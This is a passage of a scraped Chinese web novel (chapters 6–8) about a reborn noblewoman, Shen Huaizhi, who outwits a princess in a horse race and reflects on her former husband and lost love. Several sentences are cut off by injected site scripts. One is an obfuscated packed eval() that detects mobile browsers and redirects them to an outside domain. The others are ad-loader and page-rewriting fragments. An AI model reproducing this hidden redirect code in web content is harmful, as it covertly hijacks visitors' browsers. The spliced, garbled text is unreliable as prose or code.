甚至于,根据沈怀栀所知晓的内幕,明月郡主因为屡次在她背后出言诋毁,已然被人视作讨她欢心的晋身之阶,遭遇了几次措手不及的飞来横祸,她对此无从置喙,毕竟,因果都是自己种下的。 不过在生辰宴之前,听说明月郡主已经攀附上了宫里的太后娘娘,以她对自己的恶意,想来定是要有所动作的,只可惜,沈怀栀现在是无缘得见了。 就这么一位故人,对方来者不善是昭然若揭的事实,沈怀栀应下了这场鸿门宴邀约,毕竟,她从前不怕,现在更是怕不起来。 更何况,长公主府的护卫传话传得很清楚,薛琮人就在马场,顺带的,还有薛世子的好友陈家公子。 太久未曾听闻陈理的名字,沈怀栀竟然恍惚了一瞬。 她想,她是要去见他的,去见一见这位—— 曾经让她痛彻心扉的故人。 6. 第 6 章 马场之中,沈怀栀也算得上是姗姗来迟,但即便来得迟,也不妨碍她一出现就成了众人焦点。 沈怀栀本人很习惯这些目光,年轻时,她追在薛琮身后就被这种目光包围,那时候她要争取他的注意博得他的欢心,宣誓主权赶走情敌,后来她妻凭夫贵,身居高位,被人羡慕嫉妒讨好,更是万众瞩目,虽然圆满假象后瑕疵颇多,但外在到底是光鲜亮丽风光无限的。 是以,她就这样施施然入场,视线随着众人目光所及看向了另一个焦点—— 薛琮与陈理所在之处。 场上原本还算热闹的场面因为沈怀栀的出现而被打破,众人像是有默契一般,下意识停下了交谈与玩乐,视线不由自主的在声名在外的两人身上徘徊。 他总是喜欢跟薛琮凑在一起,沈怀栀想。 明明是个无拘无束自在随性的人,却偏偏和野心勃勃权欲深重的薛琮交好,大约也应了他道家那句“道常无为,而无不为”吧。 甫一出现的沈怀栀就这样毫不遮掩的将视线放在本该有所避忌的两人身上,看人的眼神既无羞怯哀怨的情思,也无痴心被负的怨怼,光明正大的过于坦荡直接。 然而,在场这些人里,许多早就习惯了她这番做派。 沈七惯来是这样的,追逐起薛世子来,仿佛毫无羞耻之心,不管是被冷漠相待还是无情拒绝,都不曾退却,也就是前阵子仿佛闹了脾气,才有了几天清静,这不,现在人再回来,依旧是从前那副调性。 这么想着的众人,就见沈怀栀面色平静的走到两人近前,神态从容的打招呼。 “薛世子,好久不见。”如往常一般,沈怀栀最先开口唤的是薛琮。 然而,薛琮何等敏锐之人,一下子就发觉这往日里待他有诸多偏爱亲昵的姑娘,今日的态度堪称是冷淡至极,纵然面上有几分笑意,也遮掩不住那言语与姿态底下的冷漠与疏远。 她唤他,随意且漫不经心,仿佛薛琮这个人根本无足轻重,以致于她吝啬分给他更多的注意。 倒是旁边的陈理—— “陈公子,许久未见了。”沈怀栀的声音里含着一点慨叹一点欣慰,似乎还有那么一点让人难以置信的满足,仿佛她真的与他许久未见,也仿佛她看到他是真的很高兴。 就是这点儿让人难以错认的高兴,让薛琮不由自主的将注意力全都放到了身边这两人身上。 “沈七姑娘,”陈理笑着抬手一礼,笑容和今天的春日一样明媚爽朗,“最近是很久没见过了,今日天气好,正适合出门游玩,马场这里消遣多,沈姑娘尽可好好玩上一场,才算不辜负这大好春光。” “听起来是个好主意。”沈怀栀笑道,“虽说我本来没这个打算,但来都来了,怎么都该不枉此行,不然岂不是辜负了郡主热情好客的心意?” “不过,在此之前,我有件事想和陈公子说一声,我这些时日在家里养兰花颇有些心得,听说陈公子那盆兰花病得厉害,至今束手无策,若是不介意赌上一把,可以让人送到沈府,我试着救助看看。” 末了,她似是想起什么,温声笑道,“虽不能保证救活,但总归不会比现在更差了。” 提及他专门从山上带回京的那盆兰花,陈理瞬间瞪大了眼,“果真?沈姑娘说的是真的?” 闻言,沈怀栀笑了笑,“我和陈公子不同,向来不爱说玩笑话,应当是真的吧。” 似是想起自己过去在对方面前的不着调言辞,难得的,陈理有些尴尬,面上几分讪讪之色,“抱歉,以往是在下唐突了,还望沈姑娘不要介怀。” 陈理道,“那盆兰花是回京前家师所赠,我一向珍爱,自从生了病害之后,也曾找人救治,但效果皆不理想,今日沈姑娘愿意雪中送炭,我心中万分感激,不管来日这花救不救得回来,都不影响我承沈姑娘这份情。” “陈公子太客气了。”沈怀栀道,“于我而言,举手之劳而已,也算是感谢以往陈公子不介意我的搅扰和唐突吧。” 年轻时候的沈怀栀,为了追薛琮,可没少打扰成日里和薛琮凑在一起的陈理,所以,若真论起唐突来,她才是更胜一筹。 两人在这里你来我往的客气寒暄,薛琮在一旁看着,突然生出几分荒谬之感,仿佛他才是这个场合里真正多余的那个人。 沈怀栀待陈理,从前因为要接近他讨好他的缘故,来往交流总是要频繁一些,以致于她和他确实有几分别于他人的熟稔,而陈理,他这个性情爽朗看起来很容易亲近的朋友,在对待沈怀栀时,也总比待其他姑娘多出了几分宽容与纵容。 至少,在薛琮的记忆里,他只为这一个姑娘在他面前说过好话。 马场上,春光里,在明月郡主领着一群姑娘过来寻衅挑事前,沈怀栀很快结束了和故人的寒暄。 她落落大方的和两人道别,转身离开的背影干脆又利落,不见半分迟疑与留恋,无论是对哪个人。 等陈理发觉身边好友的过分沉默时,薛琮已经用一种有些异样的眼神看了他许久。 “怎么了?”莫名的,陈理眼皮子跳了一下,声音里透着几分连自己都没察觉的心虚。 “没什么,”薛琮淡声道,“只是突然觉得,你和沈七关系还算不错。” “是还算可以,”陈理在这点上倒是没否认,继而又解释道,“你也知道,她从前喜欢追着你跑,我们两个见得多了,免不了比其他人要熟悉些,沈七又不是忸怩的性子,单以朋友而言,还算可亲可交。” 说着,似乎是想起从前某些不愉快的往事,他又接着道,“至少,她从来没算计过我,不管在哪方面。” 这话一出,薛琮无话可说了。 说起来,陈理确实好几次因为他那些烂桃花的缘故遭了无妄之灾,真论起来,他在这事上是理亏的,是以不便再多言。 因为聊到了大家都不想深谈的话题,这一茬被顺势揭了过去,但薛琮心里到底留下了几分关于某些猜测的浅淡痕迹。 *** 沈怀栀迎着明月郡主等人而去时,脑海里正想着刚才那一幕。 自从她有了如今这黄粱一梦后,就知晓自己会和诸多故人重逢,而这些故人之中,尤以薛琮和陈理这两个人最为浓墨重彩。 薛琮是她成亲十几年后最终同床异梦的丈夫,而陈理,则是她历经许多辗转波折后终于肯承认的有缘无分的心爱之人。 沈怀栀这一生,从来都是敢于说喜欢羞于说爱的,毕竟,她从其他人那里得到的多数都是轻描淡写可以被随意取代或抛弃的喜欢,至于爱,或许有过,但少之又少,以致于她这一生都在追求一份独一无二只会给她的真挚爱意。 这份爱意,生她的父母不曾给,养育她的祖父母也不曾给,她用心求来的薛琮同样没给,只有陈理,在不曾和她相见的最后,给了她。 不管是爱意还是偏爱,全都尽数给了她。 那棵在月光下盛放的独一无二的海棠花树,那个停放着黑色棺柩的灵堂,在她的梦里停留了许多许多年。 你看,爱她的人早已死去,而她爱的人也早已不在,纵然今日站在她面前的依旧是故人,可也只是拥有着同一张脸的故人。 陈理,并不是他。 所以,她见到他会欣喜会宽慰会满足,可也仅止于此了,他不是那个和沈怀栀一起经历了许多惊心动魄的陈怀逸,也不是那个拔剑护她在她身前遮风挡雨的陈怀逸,更不是那个抛下所有人英年早逝徒留遗憾的陈怀逸。 如今的陈理,尚且年轻,有着自然随心的本性,潇洒倜傥的风度,光明无限的未来,沈怀栀觉得,这样的未来里,不应有她。 她可以种好他心爱的兰花,也愿意远远的守护他安度余生,却唯独不会,以其他身份站在他身边。 因为,她无数次想过,远离她没有她的人生,对他而言才是最好的。 她是如此坚信着,所以此后矢志不移。 *** “果然,只要薛世子来,沈七就会来!” 领着一群姑娘们缓步而来的明月郡主,终于和她今日让人“请”来的沈怀栀狭路相逢。 在距离那些年轻公子们足够远的地方,有些人的尖酸刻薄与嚣张跋扈是再不吝啬遮掩了。 “沈七,你还是一如既往的不知羞耻为何物,”会意明月郡主心思的狗腿子当先就开始狂吠,“也不看看人家薛世子愿不愿意搭理你!” “就是,人家为了躲你都来了京郊了,你还是这么依依不饶,我怎么不知道咱们女儿家的脸面这么不值钱!” “薛世子也就算了,现在连陈公子都要蓄意卖好,我看你别是贼心不死打算琵琶别抱吧……”显然,这里有一个心仪陈理的姑娘受了刺激了。 耳边是充满恶意的喋喋不休,沈怀栀左耳入右耳出,听得心不在焉,倒是身后的冬青被这群无理取闹的贵女们气得脸色发红。 “郡主有个本事我是最佩服的,”叽叽喳喳声中,沈怀栀不紧不慢的对满脸倨傲的明月郡主道,“养狗的本事是真的好,尤其是养起咬人的狗来,可谓是天赋异禀。” 她言辞与神色格外恳切,仿佛自己当真十分钦佩一般,“我真的很想向郡主请教请教,怎么这肥肉还没喂到嘴里,这狗就能吠得这么凶悍,若是我能有郡主一二本事,日后都不必担心无人替我冲锋陷阵了。” 这话委实骂得太毒,饶是在场许多贵女们往日里见惯了指桑骂槐阴阳怪气与冷嘲热讽,也少有遇到今日如沈怀栀一般言辞毒辣的。 自然,当场被气疯的人不在少数,如果不是顾忌着体面不能动手,只怕当场就有人要扑上去和沈怀栀撕扯了。 事实上,往日里她们口舌争锋的时候也不是没推搡过,但多数终归是小打小闹,哪像今日,众人气性足得很,个个都想撸袖子扯头发。 明月郡主作为气性最大的那个,也为沈七今日的口舌言辞之狠惊了一下,但她到底是久经战阵的,今日攒这个局就是为了羞辱打压沈七的,现在狗腿子们不管用了,她当然要自己上。 “沈七,前几次给沈家面子我退了一步,你是不是当真以为我不敢动你?”明月郡主冷声道,“你不过一个朝臣之女,当真以为自己能和宗室抗衡?” 沈怀栀笑着摇摇头,“郡主严重了,我一介臣女,自然是不敢与宗室争锋的。” 似乎这短暂的示弱取悦了这群来找茬的贵女们,众人立时趾高气昂了几分,一副跃跃欲试想要逼迫沈怀栀低头认错的架势。 只可惜,沈怀栀的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711419|144571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后半句来得太快,“但仅凭郡主一个人一句话,就能代表整个宗室的话,那想来我也可以厚颜代表所有朝臣吧。” 这话一出,众人再看她那副丝毫不介意将事情闹大的坦然无畏架势,原本嚣张的气焰突然降了些,沈七就是沈七,总是会做出最不合时宜之事,直指别人的软肋。 明月郡主被堵得心口发疼,就算怒火中烧也不敢放任沈七肆意把事情闹大,她相信对方是有这个胆子的,这种事她从前也不是没干过。 现在京中因为圣心难测本就形势紧张,就算她的母亲康元长公主在御前颇有面子,她也不敢赌这份圣心的薄厚,毕竟,此前被厌弃的诸多皇子们早就用血泪证明了圣人的残酷和薄情。 尤其,母亲如今私底下似乎筹谋着要支持某位皇子,虽说明月郡主不知内情,但毗邻赏花宴这个关键时期,她是当真不敢惹出岔子来影响母亲的大事的。 她只能憋着气说服自己,现在的忍耐是为了来日的飞黄腾达,只要母亲押对宝,熬到阴晴不定时而发疯的皇祖父龙驭宾天,来日一朝天子一朝臣,到时候她想让沈七怎么死就怎么死。 沈怀栀欣赏着这群来寻衅挑事的人面上的憋屈与愤恨,心情格外平静。 事实上,她行事甚少像今日这般简单粗暴,完全是掐准了近日京中形势紧张大家不敢肆意闹事才如此拿捏,究其原因,纯粹是在见过故人之后想起往事心情不佳。 对方非要在她心情不好时撞上来,她只能随着自己心意撒气了,毕竟,她现在委屈谁都不舍得委屈自己。 更何况,就算明月郡主忍不了非要和她起冲突,她也有足够的把握全身而退。 要知道,康元长公主私底下参与夺位之争的小动作可不少,以圣人晚年在位时的脾性,就算曾经疼爱这个女儿,一旦事发,对方的下场比起几位皇子来也好不到哪里去。 沈怀栀一向有些敢想敢干的脾气,这是多少年都改不了的本性,若是没有这种脾气和心性,她也做不出在薛琮如日中天时提和离这种在外人看来既异想天开又离经叛道的事了。 “好,今日我们暂且各退一步。”最后,明月郡主道,“但是沈七,本郡主也不是好惹的,你今日若想安安生生的出马场,接下来的赛马,就不准缺席!” “若是你不敢,日后就夹着尾巴老实做人,少在薛世子面前转来转去!” “对对对,还有陈公子,日后你离陈公子远点,少去招惹人家!” “赛马?”沈怀栀闻言笑出声来,“众所周知,我沈家诗书传家,马术一道姑娘们向来只学个皮毛,尤其我本人还有骑术不精的名声,你们确定要我参加比赛?” “当然要参加!”“必须参加!” 看着对方来势汹汹非要一决输赢的架势,沈怀栀笑不可抑,看来对方是铁了心的要让她出丑了,激将法就算用的拙劣,却依旧坚信她会应承下来。 好吧,事关薛琮,不管是不是争风吃醋,年轻时的沈怀栀是肯定会应下这份战书的,至于现在的她…… “好,我答应!”她一开口,四个字掷地有声。 就算是意料之中的答复,对方显见的也很高兴,只不过沈怀栀并不打算就此罢休,她追问道,“既然我答应参加比赛,那彩头呢?诸位总不至于吝啬到彩头都不舍得给一个吧?” “也别说什么薛世子陈公子了,我们这些人还没有那么大的脸面去管别人家的事,若是诸位真有这番本事,怕是早就如愿嫁得金龟婿了,也不至于在这里嫉妒为难我一个无干人等。” 沈七今日说话尽是戳心戳肺,言辞之尖锐毒辣大大有别于往日,或许是她气势太足气焰太过嚣张,纵然清楚的知道她马术不精,今日必定会输个彻彻底底,众人心中依旧生出了几分慌乱。 到最后,大家几番争论过后,彩头最终定下,是在场所有姑娘身上的一件贵重首饰。 就这样,贵女们这边很快议定章程,在吸引来周遭许多关注之后,于箭鸣声中,数匹骏马就这样驰骋而出。 春光之中,风声拂过,衣袂翻飞,疾驰的马儿们背负着身上各自的骑手,就这样在奔跑中慢慢的拉开了距离。 出乎意料的,有着马术不精名声在外的沈怀栀,居然和以马术专精出名的明月郡主来了个并驾齐驱,甚至于,她似乎是游刃有余的,一路始终紧跟在对方身边,以致于明月郡主越到后面脸色越差。 手里的缰绳勒得肌肤刺痛,但这依旧比不上被人挟势逼迫的耻辱,明月郡主咬紧牙关继续前行,但始终甩不掉那个阴魂不散的身影。 场上局面胶着,场下观赛的人们同样各有话说。 “不是说沈七骑术不精吗?原来是这么个不精法,受教了。” “两位姑娘骑术都很不错啊,论水平,说不得连薛世子和陈公子都能比较一二。” “呜呜呜,我觉得我的步摇保不住了,那可是我刚花了大价钱从珍宝斋买的啊!” “咦,沈姑娘这骑术,我觉得有点眼熟啊,总觉得在哪儿见过似的……” “眼熟”两个字拂过耳际时,薛琮的目光下意识移到了身侧,以他的眼力,早在察觉出那几分相似时就寻到了正主。 沈怀栀的骑术—— 有陈理的影子。 7. 第 7 章 一场激烈的赛马比赛下来,最终以沈怀栀赢得胜利这个令许多人大失所望的结局为终结,结束了姑娘们之间的较量。 “沈怀栀,好,你很好!”明月郡主显然被气疯了,面上已经有些控制不住理智,如果不是公主府的嬷嬷及时拦住,只怕立时就是一场矛盾风波。 “郡主,承让了。”和气急败坏的明月郡主相比,沈怀栀可谓是坦然又冷静,既不为自己之前在马场上的寻衅挑事心虚,也不为自己放肆赢了一位宗室郡主而胆怯退让,整个人看起来光彩又体面,这与诸位贵女心中期待背道而驰的表现,一时间让不少人恨得咬紧了牙关拽紧了帕子。 “诸位,既然我赢了比赛,那些赌资我就笑纳了。”沈怀栀马鞭遥遥指着那放着诸多珠宝首饰的桌案,命人将东西全都取了过来。 看着自己心爱的首饰被人毫不客气的收走,在场这些伤心伤身又破财的姑娘们,是再忍不下去了。 “本姑娘不玩了!走,咱们回府!” “呜呜呜,我的步摇……” “我是真的受不了沈七这个大祸害了!” 当第一个姑娘气得甩袖走人后,立马有人快步跟上,以示自己现在是真看不了沈七这副得志猖狂的小人模样,当然,也受不了今日既被羞辱又破大财。 自觉受了奇耻大辱的明月郡主自然是不肯走的,毕竟她还从未像今日这样被人将脸面踩到地上,如果说从前她和沈七之间还只是小打小闹的话,那自今日之后,已然是不死不休了。 她今日精心设的这场局,本是用来羞辱沈七的,结果目的未达成不说,自己倒成了局中最大的笑话,尤其是,她颜面被踩时,还是在心上人薛世子面前,旁观的还有这许多相熟的公子贵女们,种种因由叠加下来,明月郡主心中已然恨极了造成这一切的罪魁祸首。 “沈七,咱们走着瞧!” 撂下一句狠话的明月郡主最后还是身不由己的被嬷嬷们“请”走了,若再不走,只怕会压不住气闹个天翻地覆。 长公主府赏花宴在即,和卫国公府联姻的大事当前,即便奴仆们身家性命全都握在郡主手里不敢随意违逆,这时候也是不敢放任她任意行事的,否则,郡主还未如何,在长公主那里,她们这些人的小命可是保不住的。 康元长公主,可不是一位好说话不计较的主儿。 目送那些欺负人未遂的贵女们走远,冬青忍不住道,“姑娘,您今日行事似乎锋芒毕露了些,和往日里不大相同。” “大概吧。”沈怀栀心不在焉的应道,手上挑拣着她今日的战利品,看起来心情还不错的样子。 冬青心想,姑娘往日行事惯于给人留三分余地,从不曾像今日这般咄咄逼人,作为一心为主人打算的忠仆,她倒不觉得姑娘这样有什么不好,只是有些看不明白。 将挑拣好的首饰分成三份,沈怀栀道,“这些名贵的拿去珍宝斋卖了,这些没记号的去银楼融了做成新花样,这些普通的冬青你看着给分了,今天跟着我的人都有赏。” 吩咐完后,她一身清爽的带着人离了马场,至于不远处众人对自己的指点与私语,全然不放在心上。 “沈姑娘就这么利落的走人了?”有人疑惑,“今日马场上她表现这么出彩,我还以为她会来寻薛世子说几句话呢。” “你是想看她说几句话吗?你分明是想看沈七耀武扬威!啧啧,真是不安好心,明知道薛世子对此不胜其烦。” “说真的,沈姑娘也没什么不好吧,人漂亮,性情好,家世也好,若是换做是我,说不定早就缴械投降了……” “做什么白日梦呢,沈七能看上你?不过,今日她不来,我猜是不是打着欲擒故纵的主意啊?” …… 耳边是一些不着调的言谈笑语,薛琮面无表情的听着,注意力却放在一旁的好友身上。 陈理向来不太喜欢京中浮华风气,虽然性情看似放荡不羁,但骨子里却是个秉清持正的,尤其对待女子,无论言语还是行止上都格外有分寸,是一个十分谨守界限的人。 于是,这样的他自然是格外不喜周遭这些人的言辞的,虽然面上留有笑意,却不入眼底。 薛琮就这么看着他用新的话题巧妙牵引众人的注意力,将焦点从姑娘们身上移开,看起来仿佛对沈怀栀的骑术没有任何想法。 至少,薛琮未窥见任何异常与微妙。 沈怀栀的骑术和陈理没关系,薛琮下了这个结论,似乎这当真只是一个巧合。 不过,有些人所说的欲擒故纵确实也有道理,要知道,就在前些日子,她还因为自己顺手帮了一位姑娘与他起了冲突吵闹不休,转眼不过几日功夫,她再见他就视若无物,仿佛当真痴心不再,他纵然想相信,也难以说服自己。 其实,当时沈怀栀那单方面的争吵中有几句话没说错,他确实是故意的。 明知那位求助的姑娘是有心算计别有所图,但不管她图谋什么,在那一刻的薛琮看来,她给自己带来的困扰都是不及沈怀栀的。 相较之下,那时与他纠缠不休的沈怀栀才是心腹大患,鉴于此,他宁愿屈从于对方浅薄轻浮的手段,也不想为沈怀栀那份恼人的真心妥协。 这世间,难道你一意孤行喜欢谁,别人就要回以同样的喜欢吗? 薛琮不鄙薄真心,也不轻视心机手段,他只是不喜欢别人将这些真心与手段用作绑缚他的枷锁。 就像沈怀栀,她的喜欢与真心固然真诚热烈,但却绝非他所需,可即便他抗拒拒绝,她依然能够任性妄为的来搅乱他的人生。 她说喜欢他,就用尽手段来表达她的喜欢,比如追逐他的行迹,制造诸多机会来与他示好亲近,打听他的喜好,将或简单或贵重的礼物一一奉上,纵然被再三拒绝也依然毫不气馁,仿佛在他面前,姑娘家的颜面与声名不值一提。 你看,她的喜欢背后是强势的一意孤行,是偏要靠着自己来抢来夺别人心意的强人所难,是费尽心思必要达成所愿的任性恣意。 如她这般,如果都不能称之为恣意妄为的话,那薛琮当真不知道霸道两个字还能用来形容谁了。 这样一个骄纵任性的姑娘,怎么可能不被人嫉妒。 以薛琮来看,就连今日她和那些贵女们之间的针锋相对,与其说是为了男人的争风吃醋,倒不如说是有些人被嫉妒之心驱使的恶念作祟。 嫉妒,本就是人心里连接恶的桥梁,而沈怀栀 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,恰巧是一个太容易激发别人嫉妒之心的人了。 正如他,心底也曾经生出过对这个人的羡慕。 *** 马场西侧,是专供贵人们歇息的宽敞庭院。 沈怀栀选了个毗邻花园景色不错的小楼,在这里梳洗换衣,等她一身清净的从内堂出来,外面冬青早就备好了茶点。 “姑娘今日受累了,这会儿好好歇歇吧。”冬青道,“我看天色有些晚了,再赶回京城需走夜路,姑娘是打算今日在这里歇上一晚还是连夜回京?” “在这里待上一晚吧,”沈怀栀道,“你们白日里跟着我没少奔波,今天也好好歇歇。” 爬山确实不是轻省活儿,尤其小青山的路还不太好走,纵然她如今身强体壮的,这会儿也觉得十分疲累,更遑论还有许多杂事需要做的仆从们了。 “你让人传信给府里,就说我在京郊这里过夜,省得祖母担心,”沈怀栀道,“若是祖母问起,让传话的人一五一十如实禀报,不必隐瞒什么。” “婢子知晓了。” 冬青出门安排回京送信的人,沈怀栀则上了二楼,选了个临窗的绝佳位置一边喝茶一边赏风景。 她这处庭院位置确实绝佳,尤其是她此时身处的角度,能清楚的看到远处马场里的动静。 以她还算不错的眼力来说,纵然隔得有些远,也能清楚的辨明人群中薛琮与陈理二人所在。 这两人在一干人等中着实有些鹤立鸡群,远远就可窥见年轻人的飞扬神采与耀目光华,尤其是薛琮,或许是因为薛家乃武勋世家的关系,骑在马上的身姿确实堪称风采卓然。 沈怀栀懒洋洋的看着这一幕,心中平静无遐思。 过去的已经过去,现在的只属于现在,现在的人不知前事,于她而言也只能作为生命里的过客存在,毕竟,她已经打定主意不去招惹。 她既不能将错怪在还未犯错的人身上,也不能去找还未欠她的人讨债,到最后,她只能做一个孤独的看客与远行者。 “姑娘在看什么?”回返上楼的冬青边给自家姑娘换了一盏新的热茶边轻声问。 “在看你家姑娘我从前的意中人。”沈怀栀笑答。 她这副过于豁达坦然的模样显然让冬青格外惊讶,开口的语气里尽是迟疑,“姑娘这是,不喜欢薛公子了?” “现在不喜欢了,”沈怀栀说得轻描淡写,“所以,前情尽去之后,我在想,我当年到底喜欢他什么?” 冬青没注意“当年”这两个字,她一心全放在姑娘心意更改这件大事上了。 如果姑娘不再喜欢薛公子,那姑娘日后的婚事前途…… 贴身婢女的操心沈怀栀并不知晓,她这会儿是真的难得有闲情逸致去想一些多年不曾涉足的风花雪月。 或许是重新来过尚未嫁给薛琮为妻,也未曾和陈理之间有过牵扯的缘故,她心中负累轻了许多,尤其是看到陈理活生生的站在她面前,那一瞬间的如释重负丝毫不能作假。 她这场迷途知返的黄粱一梦,做得人是心怀甚慰。 小楼里的沉默持续了许久,直到冬青一声试探的轻问,才打破了沉寂,“那姑娘,您喜欢薛公子什么呢?” 8. 第 8 章 喜欢薛琮什么? 沈怀栀年轻时也这么问过自己,但那时候的答案不了了之,因为她身在局中,既看不清自己,也看不清薛琮,所以无从回答。 喜欢能有什么道理呢,喜欢就是喜欢了,那时候她大约是拿这种答案糊弄自己的。 等后来,她从对薛琮的喜欢中挣脱,已经不会再去想这个问题,毕竟彼时,她已经开始学着如何做好一个贤妻一个宗妇,责任加身时,风花雪月的情爱已经成了过眼云烟。 在外,帝位更迭带来的风浪让薛家这艘船危如累卵,风雨飘摇之中,她需要做薛琮最可靠的盟友最坚实的后盾,需要抵御来自四面八方的的危险与威胁,在内,她要安稳内宅养育子女,在薛琮无法顾及她时,直面危机护好自己与孩子。 所以,在那之后很多年,她都无暇也无心思去考量这些曾经被她视作人生追求的东西。 一直到后来,薛琮在风雨与危机之中博得转机,薛家起复满门荣光,她放松下来的那点闲情,却又被尽数埋没在了陈理早逝的噩耗里。 至此,品尝过所有苦辣酸甜滋味的沈怀栀,再窥不见半点风月。 但时移世易,如今的她,却是终于有闲情逸致去想一想曾经困扰了她许久的谜题的。 遥遥的,马场那边有欢呼声与笑闹声传过来,沈怀栀视线投过去,似乎可以看见年轻的陈理的笑脸。 她想,她现在可以解答过去自己的疑问了,比如—— 年轻时的沈怀栀,无论重来多少次,都是不会选择陈理的。 因为,她不会喜欢对着所有人都一视同仁的笑容晏晏与温暖贴心,她想要的,只有偏爱。 她为什么会喜欢薛琮?为什么会对他一见钟情? 他那张出挑的脸固然有一部分功劳,但更重要的,大约是因为他对所有人都不假辞色的冷漠吧。 同样是一视同仁,可她就是偏爱薛琮的漠然,无非是因为无论是她那位好祖母还是那位情意淡漠的母亲,外在都偏偏顶着一张见人三分笑的温和脸孔吧。 沈怀栀不喜欢这样的人,即便她们是她最亲近有着深厚血脉关系的亲人,她也不喜欢。 因为,她从来都是被一视同仁的那个,没有一份偏爱属于她。 所以,她想要一份只独属于自己的偏爱。 年轻时候,她觉得薛琮是对的那个人,所以拼尽全力追逐他,想要他在冷漠之外那一份能独属于她的温柔,后来,显而易见,她是没能如愿的。 其实,不怪她年轻的时候凭着一腔孤勇行事肆无忌惮,毕竟,除了薛琮,她也没有其他选择了。 祖母要算计她的婚事,父亲不在意她,母亲偏爱那对双胞胎弟妹,她在他们身边那几年,不是没讨好过祈求过,纵然从未说出口,但她以为,她那些藏在行止之下的心意从不曾遮掩过,聪明如他们,应该早就看在眼里。 她要的从来也不多,但偏偏能给的人是不肯给的。 年轻孩子的稚嫩浅薄心事,年长聪慧的人当然能看明白,可就算看明白又如何,她们是不在意她的。 一个有利用价值的孙女,一个有利用价值的女儿,一个没那么看重喜爱的女儿—— 这就是沈怀栀这个人短暂人生的全部价值与意义。 你看,祖母不会为你筹谋美满的姻缘与婚事,父亲那里你的喜怒哀乐无足轻重,母亲不会像对待那对弟妹一般,在你的院子里为你亲手植一棵海棠树,纵然你有父母有亲朋,实则依旧是孤家寡人。 甚至于,你的存在与人生都是可以任由他们摆布的东西,而他们不会因此生出半分愧疚与心虚。 这样的人生,何尝不是一种泥潭? 因此,想要从这样的泥潭中脱身,也是理所当然,想要寻求独一份的偏爱,也并不出奇。 薛琮就是在这样恰好的时机中出现的最合适的那个人,他像一颗耀眼的星星,吸引着沈怀栀的目光,让她将所有的热情与无法达成的想望付诸在他身上,由此,才有了沉迷痴心的沈家七姑娘。 “喜欢他长得好看吧。”最后,沈怀栀对自己的贴身侍女说,“对以前的我来说,长得好看就够了。” 至于那些无法被满足的属于少女的想望与奢求,已经尽数化为烟尘,何必再去深究呢。 听到这个答案后,冬青很想说,她家姑娘才不是那么肤浅的人呢,若是当真只看脸的话,老夫人母家的那位周公子清风明月一般的绝色,姑娘怎么不动心呢。 天色渐渐暗下来,晚风吹在身上有些冷,沈怀栀正准备下楼,突然听到不远处传来有人吵闹的动静。 她抬眼看去,却是旁边院子里几个凑在一起的姑娘起了口角,不知说了什么,有人情绪上头,居然上手推搡人,被推的姑娘一个没稳住跌倒在地,瞬时闹成了一团。 看了两眼就没兴趣的沈怀栀抬脚下楼,身后冬青低声道,“姑娘,婢子觉得这两年日子真是不太平,不止出事的人家多,京里风气也浮躁,以往这种事情可不多见。” “你的想法没错。”沈怀栀认可了冬青的说法。 有些事情,往小了看是姑娘们口角争锋,实则还是因为宫中那位圣人之故。 这帝京之中,无数人因为帝王的一个心思一个旨意起起伏伏,幸运者一步登天,不幸者一夕覆灭,如此旦夕祸福之风影响下,想要好好维持一个人的体面,着实不易。 为什么这两年她们出门往来交际时许多姑娘家行事再无往昔贵女之风,根源就在那位高居王座的圣人身上。 当然,年轻时的沈怀栀可想不到这些,她眼里看见的心里想到的,只是自己经常和其他贵女有口角之争,等她爱慕薛琮这件事众人皆知时,她也因肆无忌惮的行事成为了被许多人排挤欺压的对象。 就算她家世尚可又如何,总有比她家世更好的人出来打头阵为难她,明月郡主不是第一个,也不是最后一个,不过却是最烦人的一个。 论理,她一个成年人本不该和年轻气盛的小姑娘如此计较,但嫉妒与恶意是不分年龄的,有些人只有打得痛了,下次再想出手时才会三思而后行,毕竟,依依不饶针对她的只是少数人,更多人不过是随风倒的墙头草。 如明月郡主这般,早就是不能和解的死敌,那继续往死里得罪也没什么,她懂事听话了太多年,也是时候让祖母为她的好孙女解决一下后顾之忧了。 *** 本打算第二天回京的沈怀栀没能走成,因为隔天就下起了春雨,且这雨还有些大,于是一时间滞留在京郊的人多了起来。 留下的人各自寻了相熟的人一起凑趣玩乐,沈怀栀倒是也有被邀请,只可惜,她无意同那些心思各异的人打交道,只一心窝在自己的庭院里,安静的伏案写东西。 等忙忙碌碌大半天过去,雨势渐小时,冬青开口劝道,“姑娘都忙了许久了,这会儿不如歇歇,现在外面雨不大,正好出门。” 被春雨洗涤过后的景色确实漂亮,现在天色尚不算晚,沈怀栀想了想,应下了冬青所说,挑了把漂亮的油纸伞出门散步去了。 一路走来,正巧到了一处景色颇美的池塘,塘边种着柳树和桃树,柳树翠绿的枝条垂在水上,春雨将桃花打落,波纹荡漾中,尽是桃红柳绿之景。 “姑娘,这边景色真好看,正好这儿有个凉亭,咱们坐一会儿吧。”冬青道。 于是,一行人入了凉亭落座。 沈怀栀手边的红泥小炉茶水煮到一半,旁边突然传来嘈杂声响,间或还有一个女声愤愤而言。 “她算个什么东西!居然如此下我周氏面子,哼,等回家我就跟父亲告状!” “三姑娘别生气,或许李姑娘并不是故意的,诚如她所说,都是误会,并不是您所想的那样。” 劝人的女声语调温柔,话语里带着明显的关心与担忧,一副真心为好友解忧的模样,虽说好友言语间俱是倨傲与跋扈。 两个姑娘说话间,从连廊处拐过来,就这么同安坐在亭中的沈怀栀对上了眼。 沈怀栀这厢还未有什么反应,那个语调跋扈的姑娘就高了腔调,一副如临大敌的模样,“沈七,你怎么在这儿!” 仿佛看到什么晦气东西 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 